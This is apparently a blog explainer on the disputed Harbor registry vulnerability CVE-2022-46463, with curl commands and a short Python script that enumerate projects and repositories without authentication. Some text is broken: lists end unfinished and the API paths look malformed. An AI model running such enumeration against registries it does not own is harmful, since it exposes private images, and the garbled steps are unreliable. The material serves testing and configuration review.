In 2022, a security issue labeled CVE-2022-46463 rocked the container registry world—at least, for a while. Tagged as an "access control" problem, it suggested anyone could access both public _and_ private image repositories on Harbor (version 1.x.x up to 2.5.3) without logging in. But the story isn’t clear-cut: the maintainers argue this behavior is an intended feature, laid out in the docs.

Still, the potential for misconfiguration and data leaks sparked debate. In this definitive post, we break down the CVE, reproduce the behavior, and explain why it was disputed.  

What is Harbor?

Harbor is an open source registry to manage container images securely. DevOps teams use it extensively for storing Docker images and Helm charts, adding features on top of Docker Registry like:

CVE-2022-46463: The Core Issue

CVE Brief:  
> *An access control issue in Harbor v1.x.x through v2.5.3 allows attackers to access public and private image repositories without authentication. NOTE: the vendor's position is that this "is clearly described in the documentation as a feature."*  
(Source: NVD Entry)

What Was Reported?

Researchers claimed that if Harbor’s API wasn’t configured properly, anyone—without an account—could browse and pull both public _and private_ repositories. Yikes, right?

Private repositories require authentication as long as they are set up as private

See their position in this GitHub issue.

You have a Harbor instance, before 2.5.3

- Harbor endpoint is https://your-harbor.com
- There’s at least one private repo, "priv-project/priv-image"

Harbor’s API doesn't block unauthenticated listing of _public_ repositories

curl -s https://your-harbor.com/api/v2./projects?public=true | jq

2. Try to Access Private Repositories

Suppose a project priv-project is marked private.

Try listing images in it _unauthenticated_

curl -s https://your-harbor.com/v2/priv-project/priv-image/tags/list

Expected (secure)

{
  "errors": [
    {
      "code": "UNAUTHORIZED",
      "message": "authentication required",
      "detail": [
        {
          "Type": "repository",
          "Name": "priv-project/priv-image",
          "Action": "pull"
        }
      ]
    }
  ]
}

#### 3. Access Combining Public/Private:

The CVE report claims in some settings, _private_ projects also return data like above. In practice, Harbor reject requests to private repos unless:

Example Exploit Script

A typical proof of concept just loops through projects and images to see what's exposed. Here’s an easy Python example:

import requests

base_url = "https://your-harbor.com"

# List all projects (including public ones)
resp = requests.get(f"{base_url}/api/v2./projects")
for project in resp.json():
    proj_name = project['name']
    print(f"Scanning project: {proj_name}")
    
    # Try to list repos (images) in each project
    repo_url = f"{base_url}/api/v2./projects/{proj_name}/repositories"
    r_repos = requests.get(repo_url)
    if r_repos.status_code == 200:
        print(f"Repos in {proj_name}: {[repo['name'] for repo in r_repos.json()]}")
    else:
        print(f"Access denied to {proj_name}")

If Access denied to priv-project appears, the access control is working.

Private is private:

To lock down sensitive data, label your projects as _private_ and require auth (Harbor’s default for new projects).

Misconfigurations Are the Real Risk:

If a sysadmin accidentally marks a project as public—or misses a config step—anyone can pull images.

Read the full Harbor docs on access control for official wording.

Final Thoughts

CVE-2022-46463 is a great example of how software features and security expectations can collide—especially when default configs or documentation aren’t fully understood.

You won’t get unauthorized access on Harbor just by guessing URLs, _if_ you set up private projects as intended. But if admins aren’t careful, public images might leak.

References

- CVE-2022-46463 - NVD
- Harbor Official Docs: Access Control
- Harbor GitHub Issue #17544 ("CVE-Request: exposure of repos in public instance")

Timeline

Published on: 01/13/2023 00:15:00 UTC
Last modified on: 01/24/2023 16:17:00 UTC